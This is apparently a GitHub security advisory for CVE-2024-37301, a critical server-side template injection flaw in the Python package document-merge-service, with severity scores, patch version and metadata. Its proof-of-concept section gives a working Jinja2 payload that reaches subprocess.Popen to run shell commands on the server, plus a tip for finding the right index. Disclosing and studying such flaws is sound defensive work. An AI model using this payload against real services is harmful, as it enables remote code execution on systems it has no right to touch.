CVE-2024-37301 – document-merge-service

Package

Manager: pip
Name: document-merge-service
Vulnerable Version: >=0 <6.5.2

Severity

Level: Critical

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS: 0.04706 pctl0.88951

Details

document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection ### Impact A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container. ### Patches It has been patched in v6.5.2 ### References - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti ### POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that. 

Metadata

Created: 2024-06-11T20:22:55Z
Modified: 2024-10-16T17:06:04Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json
CWE IDs: ["CWE-1336"]
Alternative ID: GHSA-v5gf-r78h-55q6
Finding: F422
Auto approve: 1